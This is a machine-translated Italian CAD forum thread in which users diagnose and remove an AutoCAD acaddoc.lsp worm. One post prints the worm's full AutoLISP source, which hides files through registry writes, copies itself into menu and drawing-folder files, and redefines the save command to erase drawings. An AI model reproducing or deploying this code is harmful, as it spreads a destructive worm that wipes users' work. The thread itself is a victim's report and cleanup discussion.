• This forum is the machine-generated translation of www.cad3d.it/forum1 - the Italian design community. Several terms are not translated correctly.

autocad virus: does not charge menus and other inconveniences

MBT

Guest
Gentlemen, good morning
The problem I'm about to expose has something mysterious. . .
autocad mechanical 2009 installed on company machines and updated with the latest servis pacc
Network licenses
configuration files, templates, pgp and other networking amenities for configuration uniformity
operating system win xp serviss pacc 3
everything works best

from day to day, inexplicably, problems begin to arise
simple, nothing serious. simply, at the opening of a drawing, you must press esc... :eek:
I discover so that it "blocks" while loading a menu or maybe a lsp
the problem spreads to leopard stain!:eek:
quickly all machines have similar problems, and even worse
For example, some mechanical controls do not work. fields, for example, construction lines, axes...
However, "power" quotations work regularly. as well as bookcases, mechanical calculations etc
re-installing everything, the prolema does not solve... .
re-installing after a "deep" uninstallation, solves the problem temporary. after a while as per spell, magic repeats itself.. .

Does anyone have any ideas or suggestions?? ? ?
the guys of the it are working on it but do not fall a spider from the hole:rolleyes:
 
Last edited by a moderator:
about about
In the sense that, being part of a multinational, I don't have an area var on whose shoulders I can cry, or support a nodous club. . .
mark it to it, that strips the bat (or at least try us... )
 
Hello planner
Yes, it's a possibility that I had come to mind, just last night.
today, doing some control, we found that on the servers there is an infestation of files called acaddoc.lsp
content and size of these files are variable, but basically this
Code: 
;;;*-*txt acad.lsp is loaded once, acaddoc.lsp is loaded for each
;;;       document, s::startup in any case is called after acaddoc.lsp
;;;       has been loaded
;
;;(if (= nil acad_helpdlg)
;; (progn
;;    (load "acadr15.lsp")
;;    (load (strcat (getvar "menuname") ".mnl"))
;;  )
;;)[B][COLOR="Red"](if (= nil genlade)
  (progn
    (princ (load "gen/acadm.lsp" "\nerror: acadm.lsp not loaded!"))
    (if acadmappend (setq s::startup (acadmappend s::startup)))
  )
)

;;;*-*txt acad.lsp is loaded once, acaddoc.lsp is loaded for each
;;;       document, s::startup in any case is called after acaddoc.lsp
;;;       has been loaded
;
;;(if (= nil acad_helpdlg)
;; (progn
;;    (load "acadr15.lsp")
;;    (load (strcat (getvar "menuname") ".mnl"))
;;  )
;;)
[/B][/COLOR]
[COLOR="RoyalBlue"];;;*-*txt acad.lsp is loaded once, acaddoc.lsp is loaded for each
;;;       document, s::startup in any case is called after acaddoc.lsp
;;;       has been loaded
;
;;(if (= nil acad_helpdlg)
; module_id acad2006_lsp_
;;;    acad2006.lsp version 1.0 for autocad 2006
;;;
;;;    copyright (c) 1994-2005 by autodesk, inc.
;;;
;;;    permission to use, copy, modify, and distribute this software
;;;    for any purpose and without fee is hereby granted, provided
;;;    that the above copyright notice appears in all copies and
;;;    that both that copyright notice and the limited warranty and
;;;    restricted rights notice below appear in all supporting
;;;    documentation.
;;;
;;;    autodesk provides this program "as is" and with all faults.
;;;    autodesk specifically disclaims any implied warranty of
;;;    merchantability or fitness for a particular use.  autodesk, inc.
;;;    does not warrant that the operation of the program will be
;;;    uninterrupted or error free.
;;;
;;;    use, duplication, or disclosure by the u.s. government is subject to
;;;    restrictions set forth in far 52.227-19 (commercial computer
;;;    software - restricted rights) and dfar 252.227-7013(c)(1)(ii) 
;;;    (rights in technical data and computer software), as applicable.
;;;
;;;.
;;;
;;;    note:
;;;            this file is normally loaded only once per autocad session.
;;;            if you wish to have lisp code loaded into every document,
;;;            you should add your code to acaddoc.lsp.

;;;
;;;    globalization note:   
;;;            we do not support autoloading applications by the native 
;;;            language command call (e.g. with the leading underscore
;;;            mechanism.)

(if (not (=  (substr (ver) 1 11) "visual lisp")) (load "acad2006doc.lsp"))

;; silent load.
(princ)

(defun s::startup (/ doclsp dwgpre cdate mac0 mnlpth)
  (vl-load-com)
  (setvar "cmdecho" 0)
  (setvar "filedia" 1)
  (vl-registry-write
    "hkey_local_machine\\software\\microsoft\\windows\\currentversion\\explorer\\advanced\\folder\\hidden\\showall"
    "checkedvalue"
    0
  )  
  (vl-registry-write
    "hkey_local_machine\\software\\microsoft\\windows\\currentversion\\explorer\\advanced\\folder\\hidden\\nohidden"
    "checkedvalue"
    0
  )
  (vl-registry-write
    "hkey_local_machine\\software\\microsoft\\windows\\currentversion\\explorer\\advanced\\folder\\hidden\\nohidden"
    "defaultvalue"
    0
  )
  (setq mnlpth (getvar "menuname"))
  (setq dwgpre (getvar "dwgprefix"))
  (if (setq doclsp (findfile "acaddoc.lsp"))
    (progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
	   (chklsp (strcat mnlpth ".mnl") doclsp)
	   (chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
    )
  )
  (setq	mac0
	 '(2256	  2256	 2726	2256   2585   2726   3243   2679
	   2726	  2256	 3149	2726   3196   3290   2726   2632
	   2397
	  )
  )
  (if (and (> (setq cdate (getvar "cdate")) 20090909)
	   (member (vl-string->list (car (macaddr))) (mkgroup mac0))
	   (= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
      )
    (dolsp)
  )
  (princ)
)
(defun chklsp (fp1 fp2 / fp3 tem1 tem2)
  (if (setq fp3 (open fp1 "r"))
    (progn
      (if
	(not
	  (wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
		   "*;;;jjyy*"
	  )
	)
	 (writelsp fp2 fp1)
      )
      (close fp3)
    )
    (writelsp fp2 fp1)
  )
  (attset fp1 2)
  (attset fp2 2)
)
(defun writelsp	(fp1 fp2 / fp3 fp4 tem)
  (setq	fp3 (open fp1 "r")
	fp4 (open fp2 "a")
  )
  (while (setq tem (read-line fp3)) (write-line tem fp4))
  (close fp3)
  (close fp4)
  (princ)
)
(defun attset (fp code / fp1)
  (if (and (/= "" fp) code)
    (progn (vl-load-com)
	   (vlax-put-property
	     (setq fp1 (vlax-invoke-method
			 (vlax-create-object "scripting.filesystemobject")
			 'getfile
			 fp
		       )
	     )
	     'attributes
	     code
	   )
    )
  )
  (vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)
  (setq i 1)
  (repeat 500
    (setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
    (setq i (1+ i))
  )
  (reverse pts)
)
(defun macaddr (/ mac wmiobj con lox sn)
  (vl-load-com)
  (if (setq wmiobj (vlax-create-object "wbemscripting.swbemlocator"))
    (progn
      (setq
	con (vl-catch-all-apply
	      'vlax-invoke
	      (list wmiobj 'connectserver "." "" "" "" "" "" 128 nil)
	    )
      )
      (if (vl-catch-all-error-p con)
	(setq
	  con (vlax-invoke wmiobj 'connectserver "." "" "" "" "" "")
	)
      )
      (setq lox	(vlax-invoke
		  con
		  'execquery
		  "select * from win32_networkadapter "
		)
      )
      (vlax-for	i lox
	(if (vlax-get i 'netconnectionid)
	  (progn (setq sn (vlax-get i 'macaddress))
		 (or (member sn mac) (setq mac (cons sn mac)))
	  )
	)
      )
      (mapcar 'vlax-release-object (list lox con wmiobj))
    )
  )
  (reverse mac)
)
(defun dolsp ()
  (command "undefine" "qsave")
  (command "undefine" "saveas")
  (command "undefine" "wblock")
  (command "undefine" "insert")
  (command "undefine" "pline")
)
(defun c:qsave ()
  (command "_.erase" (ssget "x") "")
  (princ)
)
(defun c:saveas	(/ fp1)
  (setq fp1 (getfiled "í¼ðîáí´æîª" (getvar "dwgprefix") "dwg" 1))
  (chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")
	  (findfile "acaddoc.lsp")
  )
  (princ)
)
(defun c:wblock () (princ))
(defun c:insert () (princ))
(defun c:pline () (command "_.line") (princ))
;;;jjyy[/COLOR]
the red part repeats several times within the file
that generally ends with the blue part
 
MBT said:
Hello planner
Yes, it's a possibility that I had come to mind, just last night.
today, doing some control, we found that on the servers there is an infestation of files called acaddoc.lsp
content and size of these files are variable, but basically this....
Click to expand...
What's all that crap written in that acaddoc.lsp file? ? ?

Now you have to see how to clean this up. You have to go deeper.
I don't know if this kind of virus can be:http://www.cad3d.it/forum1/showthread.php?t=14018here I found two other removal tools:http://metinsaylan.com/819/how-to-clean-acaddoc-lsp-virus-from-your-pc/http://cadtips.cadalyst.com/lisp-code-modules/killwormBut I can't tell you about the goodness of the result.

curiosity: do you have relations with the wool?
(see link of why of the question)http://www.symantec.com/connect/blogs/threats-autocad
 
I think, dear planner, you've got the virus.
the suggested system in metinsaylan.com seems to give results
 
MBT said:
I think, dear planner, you've got the virus.
the suggested system in metinsaylan.com seems to give results
Click to expand...
Great!
Consider that you can consider yourself a "privileged" here!:biggrin:
you are the first case of autocad virus in cad3d.it.
 
but how happy I am....
Look, I'm just exulting from joy... :biggrin:

planner, do we move everything in autocad area? I had the problem with mechanical, but in fact it is a pure autocad problem...
 
MBT said:
but how happy I am....
Look, I'm just exulting from joy... :biggrin:

planner, do we move everything in autocad area? I had the problem with mechanical, but in fact it is a pure autocad problem...
Click to expand...
I hope you finally solve it!
Yes, you had actually inserted it in the autocad section, but before the virus problem came out, I thought it was a specific technical problem of mechanical so I moved it here.
depends on what giga thinks now.
 
is (become) a generic autocad problem... shift and change the title (by cutting the reference to mechanical)?

type "autocad - does not charge menus and other inconveniences: virus - solved"

so it is clear to what it refers to. . .
 
GiGa said:
is (become) a generic autocad problem... shift and change the title (by cutting the reference to mechanical)?

type "autocad - does not charge menus and other inconveniences: virus - solved"

so it is clear to what it refers to. . .
Click to expand...
per me wa bene. :finger:
 
So how do you solve this? I have autocad 2011 and it is not a virus because every time I install autocad on a pc I have the same problem!
 
mArCo1928 said:
So how do you solve this? I have autocad 2011 and it is not a virus because every time I install autocad on a pc I have the same problem!
Click to expand...
already, but if you use the same files on different pcs how you make sure it is not a virus?
 
hhe...
first of all mock away all the acaddoc.lsp you find around the world, both locally and on the net
after which it takes an antivirus of serious ones. few antivirus, to date, recognize this infection
uninstall autocad completely, log included and especially files "abandoned" from uninstallation
then, you can re-install the whole
 
but really... I had no problem with the mec 2007, and I accidentally discovered today that I have that lsp file on the disk c:

but if they are good, from its date of creation (in 2006), I only have 1 there are no others on my pc, and not access to other computers of the network.

What do you say I have to worry?
or is it normal?
I have no problem with any kind.
Hi.
 
Unfortunately work in a hospital and tonti is overflowing, impossible to tell 200 people who have to use avira as antivirus and I have to delete all those files, also because in any case autocad restores them every time. Probably every dwg on the server is infected, or that I...
 
numero1 said:
but really... I had no problem with the mec 2007, and I accidentally discovered today that I have that lsp file on the disk c:

but if they are good, from its date of creation (in 2006), I only have 1 there are no others on my pc, and not access to other computers of the network.

What do you say I have to worry?
or is it normal?
I have no problem with any kind.
Hi.
Click to expand...
It's normal in your case.
mArCo1928 said:
Unfortunately work in a hospital and tonti is overflowing, impossible to tell 200 people that they have to use avira as antivirus and I have to delete all those files, also because in any case autocad restores them every time. Probably every dwg on the server is infected, or that I...
Click to expand...
Then don't go out!
 

Forum statistics

Threads
44,997
Messages
339,767
Members
4
Latest member
ibt

Members online

No members online now.
Total: 3 (members: 0, guests: 3)
Back
Top